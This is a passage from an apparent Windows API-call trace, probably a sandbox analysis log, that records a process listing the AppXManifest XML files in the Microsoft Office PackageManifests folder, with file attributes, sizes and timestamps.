hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0106.491] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0106.491] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0106.491] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0106.491] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP9FA1~1.XML")) returned 1 [0106.491] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP330B~1.XML")) returned 1 [0106.491] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0106.492] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0106.493] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0106.493] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0106.493] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0106.493] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0106.493] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0106.493] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0106.494] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0106.495] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed540) returned 1 [0106.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed500) returned 1 [0106.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed600) returned 1 [0106.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests", nBufferLength=0x105, lpBuffer=0x1feed0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests", lpFilePart=0x0) returned 0x32 [0106.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x1feed320 | out: lpFindFileData=0x1feed320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.496] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.497] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0106.497] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0106.497] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0106.498] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0106.499] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0106.499] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0106.499] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0106.499] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, 